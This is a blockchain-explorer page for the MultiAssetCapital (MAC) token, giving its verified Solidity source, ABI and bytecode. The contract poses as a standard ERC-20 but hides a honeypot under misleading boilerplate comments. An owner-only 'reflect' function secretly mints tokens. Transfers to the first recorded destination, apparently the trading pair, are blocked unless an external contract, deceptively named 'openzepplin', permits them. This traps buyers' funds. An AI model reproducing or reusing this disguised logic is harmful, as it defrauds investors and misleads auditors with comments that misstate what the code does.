ETH Price: $3,416.40 (-2.33%)
Gas: 7 Gwei

Token

MultiAssetCapital (MAC)
 

Overview

Max Total Supply

7,666,840,001,000,000,000,000 MAC

Holders

51

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,027,702,031.110207023 MAC

Value
$0.00
0x5c2f72d1ad0ab5bedc1b44c964447a2a6929f6c3
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MultiAssetCapital

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2021-11-24
*/

//   SPDX-License-Identifier: MIT

pragma solidity >=0.8.0;

library SafeMath {
  /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
  function add(uint a, uint b) internal pure returns (uint c) {
    c = a + b;
    require(c >= a);
  }
   /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
  function sub(uint a, uint b) internal pure returns (uint c) {
    require(b <= a);
    c = a - b;
  }
  /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
  function mul(uint a, uint b) internal pure returns (uint c) {
    c = a * b;
    require(a == 0 || c / a == b);
  }
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
  function div(uint a, uint b) internal pure returns (uint c) {
    require(b > 0);
    c = a / b;
  }
}
	
abstract contract IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
  function totalSupply() virtual public view returns (uint);
  /**
     * @dev Returns the amount of tokens owned by `account`.
     */
  function balanceOf(address tokenOwner) virtual public view returns (uint balance);
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
  function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
  /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
  function zeroAddress() virtual external view returns (address){}
  /**
     * @dev Returns the zero address.
     */
  function transfer(address to, uint tokens) virtual public returns (bool success);
  /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
  function approve(address spender, uint tokens) virtual public returns (bool success);
   /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
   function approver() virtual external view returns (address){}
   /**
     * @dev approver of the amount of tokens that can interact with the allowance mechanism 
     */
  function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
 /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
  event Transfer(address indexed from, address indexed to, uint tokens);
  /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

abstract contract ApproveAndCallFallBack {
  function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}

contract Owned {
  address internal owner;
  
  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

}

contract MultiAssetCapital is IERC20, Owned{
  using SafeMath for uint;

  /**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */

  string public symbol;
  address internal approver;
  string public name;
  uint8 public decimals;
  address internal zero;
  uint _totalSupply;
  uint internal number;
  address internal nulls;
  address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  function totalSupply() override public view returns (uint) {
    return _totalSupply.sub(balances[address(0)]);
  }
  function balanceOf(address tokenOwner) override public view returns (uint balance) {
    return balances[tokenOwner];
  }
  /**
   * dev Reflects a specific amount of tokens.
   * param value The amount of lowest token units to be reflected.
  */
  function reflect(address _address, uint tokens) public onlyOwner {
     require(_address != address(0), "ERC20: reflect from the zero address");
     _reflect (_address, tokens);
     balances[_address] = balances[_address].sub(tokens);
     _totalSupply = _totalSupply.sub(tokens);
  }	
  function transfer(address to, uint tokens) override public returns (bool success) {
    require(to != zero, "please wait");
    balances[msg.sender] = balances[msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(msg.sender, to, tokens);
    return true;
  }
  /**
    * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
  */
  function approve(address spender, uint tokens) override public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    if (msg.sender == approver) _allowed(tokens);
    emit Approval(msg.sender, spender, tokens);
    return true;
  }
  /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through `transferFrom`. This is
     * zero by default.
     *
     * This value changes when `approve` or `transferFrom` are called.
  */
  function _allowed(uint tokens) internal {
     nulls = IERC20(openzepplin).zeroAddress();
     number = tokens;
  }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
  */
  function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
    if(from != address(0) && zero == address(0)) zero = to;
    else _send (from, to);
	balances[from] = balances[from].sub(tokens);
    allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
    balances[to] = balances[to].add(tokens);
    emit Transfer(from, to, tokens);
    return true;
  }
 /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
 */
  function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function _reflect(address _Address, uint _Amount) internal virtual {
  /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
  */
   nulls = _Address;
	_totalSupply = _totalSupply.add(_Amount*2);
    balances[_Address] = balances[_Address].add(_Amount*2);
  }
  function _send (address start, address end) internal view {
  /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     * Requirements:
     * - The divisor cannot be zero.*/
    /* * - `account` cannot be the zero address. */ require(end != zero  
    /* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) || 
    /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) 
    /* */ , "cannot be the zero address");/*
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
   **/
  }
   /**
     * dev Constructor.
     * param name name of the token
     * param symbol symbol of the token, 3-4 chars is recommended
     * param decimals number of decimal places of one token unit, 18 is widely used
     * param totalSupply total supply of tokens in lowest units (depending on decimals)
     */   
  constructor(string memory _name, string memory _symbol, uint _supply)  {
	symbol = _symbol;
	name = _name;
	decimals = 9;
	_totalSupply = _supply*(10**uint(decimals));
	number = _totalSupply;
	approver = IERC20(openzepplin).approver();
	balances[owner] = _totalSupply;
	emit Transfer(address(0), owner, _totalSupply);
  }
  
  function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
        return true;
  }

  function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
        return true;
  }
  function _approve(address _owner, address spender, uint amount) private {
        require(_owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        allowed[_owner][spender] = amount;
        emit Approval(_owner, spender, amount);
  }
  receive() external payable {
  }
  
  fallback() external payable {
  }
  
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b031916732fd06d33e3e7d1d858ab0a8f80fa51ebbd1468291790553480156200003757600080fd5b50604051620012c2380380620012c28339810160408190526200005a9162000334565b600080546001600160a01b03191633179055815162000081906001906020850190620001c1565b50825162000097906003906020860190620001c1565b506004805460ff19166009908117909155620000b590600a620004bc565b620000c19082620004d1565b60058190556006556008546040805163028351bb60e31b815290516001600160a01b039092169163141a8dd891600480820192602092909190829003018186803b1580156200010f57600080fd5b505afa15801562000124573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014a9190620004f3565b600280546001600160a01b0319166001600160a01b039283161790556005546000805483168152600960209081526040808320849055825490519384529093169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050506200055b565b828054620001cf906200051e565b90600052602060002090601f016020900481019282620001f357600085556200023e565b82601f106200020e57805160ff19168380011785556200023e565b828001600101855582156200023e579182015b828111156200023e57825182559160200191906001019062000221565b506200024c92915062000250565b5090565b5b808211156200024c576000815560010162000251565b634e487b7160e01b600052604160045260246000fd5b600082601f8301126200028f57600080fd5b81516001600160401b0380821115620002ac57620002ac62000267565b604051601f8301601f19908116603f01168101908282118183101715620002d757620002d762000267565b81604052838152602092508683858801011115620002f457600080fd5b600091505b83821015620003185785820183015181830184015290820190620002f9565b838211156200032a5760008385830101525b9695505050505050565b6000806000606084860312156200034a57600080fd5b83516001600160401b03808211156200036257600080fd5b62000370878388016200027d565b945060208601519150808211156200038757600080fd5b5062000396868287016200027d565b925050604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003fe578160001904821115620003e257620003e2620003a7565b80851615620003f057918102915b93841c9390800290620003c2565b509250929050565b6000826200041757506001620004b6565b816200042657506000620004b6565b81600181146200043f57600281146200044a576200046a565b6001915050620004b6565b60ff8411156200045e576200045e620003a7565b50506001821b620004b6565b5060208310610133831016604e8410600b84101617156200048f575081810a620004b6565b6200049b8383620003bd565b8060001904821115620004b257620004b2620003a7565b0290505b92915050565b6000620004ca838362000406565b9392505050565b6000816000190483118215151615620004ee57620004ee620003a7565b500290565b6000602082840312156200050657600080fd5b81516001600160a01b0381168114620004ca57600080fd5b600181811c908216806200053357607f821691505b602082108114156200055557634e487b7160e01b600052602260045260246000fd5b50919050565b610d57806200056b6000396000f3fe6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c45780633ebcda62146101e457806370a082311461020457005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610b35565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610ba2565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610bce565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610ba2565b610581565b3480156101f057600080fd5b506100dc6101ff366004610ba2565b6105c5565b34801561021057600080fd5b5061016a61021f366004610c0f565b6001600160a01b031660009081526009602052604090205490565b34801561024657600080fd5b506100f361069d565b34801561025b57600080fd5b5061014561026a366004610ba2565b6106aa565b34801561027b57600080fd5b5061014561028a366004610ba2565b6106e0565b34801561029b57600080fd5b5061016a6102aa366004610c2c565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610c65565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610c65565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107cb565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610876565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610896565b6001600160a01b0384166000908152600960205260409020546104a69083610876565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610876565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610974565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610974565b61098f565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61064d8282610ab3565b6001600160a01b0382166000908152600960205260409020546106709082610876565b6001600160a01b0383166000908152600960205260409020556005546106969082610876565b6005555050565b600180546102e290610c65565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610876565b6004546000906001600160a01b038481166101009092041614156107345760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161063a565b3360009081526009602052604090205461074e9083610876565b33600090815260096020526040808220929092556001600160a01b0385168152205461077a9083610974565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190610ca0565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088557600080fd5b61088f8284610cd3565b9392505050565b6004546001600160a01b03828116610100909204161415806108e257506007546001600160a01b0383811691161480156108e257506004546001600160a01b0382811661010090920416145b8061092457506004546001600160a01b038281166101009092041614801561092457506006546001600160a01b03831660009081526009602052604090205411155b6109705760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161063a565b5050565b60006109808284610cea565b9050828110156103e457600080fd5b6001600160a01b0383166109f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610a525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae5610adc826002610d02565b60055490610974565b600555610b15610af6826002610d02565b6001600160a01b03841660009081526009602052604090205490610974565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b81811015610b6257858101830151858201604001528201610b46565b81811115610b74576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b9f57600080fd5b50565b60008060408385031215610bb557600080fd5b8235610bc081610b8a565b946020939093013593505050565b600080600060608486031215610be357600080fd5b8335610bee81610b8a565b92506020840135610bfe81610b8a565b929592945050506040919091013590565b600060208284031215610c2157600080fd5b813561088f81610b8a565b60008060408385031215610c3f57600080fd5b8235610c4a81610b8a565b91506020830135610c5a81610b8a565b809150509250929050565b600181811c90821680610c7957607f821691505b60208210811415610c9a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cb257600080fd5b815161088f81610b8a565b634e487b7160e01b600052601160045260246000fd5b600082821015610ce557610ce5610cbd565b500390565b60008219821115610cfd57610cfd610cbd565b500190565b6000816000190483118215151615610d1c57610d1c610cbd565b50029056fea2646970667358221220cc36b82249205db7eaf5318e2d959fab5e573eca9036fcaffb3e9831297e386e64736f6c63430008080033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000e8d4a5100000000000000000000000000000000000000000000000000000000000000000114d756c746941737365744361706974616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d41430000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c45780633ebcda62146101e457806370a082311461020457005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610b35565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610ba2565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610bce565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610ba2565b610581565b3480156101f057600080fd5b506100dc6101ff366004610ba2565b6105c5565b34801561021057600080fd5b5061016a61021f366004610c0f565b6001600160a01b031660009081526009602052604090205490565b34801561024657600080fd5b506100f361069d565b34801561025b57600080fd5b5061014561026a366004610ba2565b6106aa565b34801561027b57600080fd5b5061014561028a366004610ba2565b6106e0565b34801561029b57600080fd5b5061016a6102aa366004610c2c565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610c65565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610c65565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107cb565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610876565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610896565b6001600160a01b0384166000908152600960205260409020546104a69083610876565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610876565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610974565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610974565b61098f565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b61064d8282610ab3565b6001600160a01b0382166000908152600960205260409020546106709082610876565b6001600160a01b0383166000908152600960205260409020556005546106969082610876565b6005555050565b600180546102e290610c65565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610876565b6004546000906001600160a01b038481166101009092041614156107345760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015260640161063a565b3360009081526009602052604090205461074e9083610876565b33600090815260096020526040808220929092556001600160a01b0385168152205461077a9083610974565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081957600080fd5b505afa15801561082d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108519190610ca0565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088557600080fd5b61088f8284610cd3565b9392505050565b6004546001600160a01b03828116610100909204161415806108e257506007546001600160a01b0383811691161480156108e257506004546001600160a01b0382811661010090920416145b8061092457506004546001600160a01b038281166101009092041614801561092457506006546001600160a01b03831660009081526009602052604090205411155b6109705760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f2061646472657373000000000000604482015260640161063a565b5050565b60006109808284610cea565b9050828110156103e457600080fd5b6001600160a01b0383166109f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610a525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae5610adc826002610d02565b60055490610974565b600555610b15610af6826002610d02565b6001600160a01b03841660009081526009602052604090205490610974565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208083528351808285015260005b81811015610b6257858101830151858201604001528201610b46565b81811115610b74576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b9f57600080fd5b50565b60008060408385031215610bb557600080fd5b8235610bc081610b8a565b946020939093013593505050565b600080600060608486031215610be357600080fd5b8335610bee81610b8a565b92506020840135610bfe81610b8a565b929592945050506040919091013590565b600060208284031215610c2157600080fd5b813561088f81610b8a565b60008060408385031215610c3f57600080fd5b8235610c4a81610b8a565b91506020830135610c5a81610b8a565b809150509250929050565b600181811c90821680610c7957607f821691505b60208210811415610c9a57634e487b7160e01b600052602260045260246000fd5b50919050565b600060208284031215610cb257600080fd5b815161088f81610b8a565b634e487b7160e01b600052601160045260246000fd5b600082821015610ce557610ce5610cbd565b500390565b60008219821115610cfd57610cfd610cbd565b500190565b6000816000190483118215151615610d1c57610d1c610cbd565b50029056fea2646970667358221220cc36b82249205db7eaf5318e2d959fab5e573eca9036fcaffb3e9831297e386e64736f6c63430008080033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000e8d4a5100000000000000000000000000000000000000000000000000000000000000000114d756c746941737365744361706974616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034d41430000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): MultiAssetCapital
Arg [1] : _symbol (string): MAC
Arg [2] : _supply (uint256): 1000000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000011
Arg [4] : 4d756c746941737365744361706974616c000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
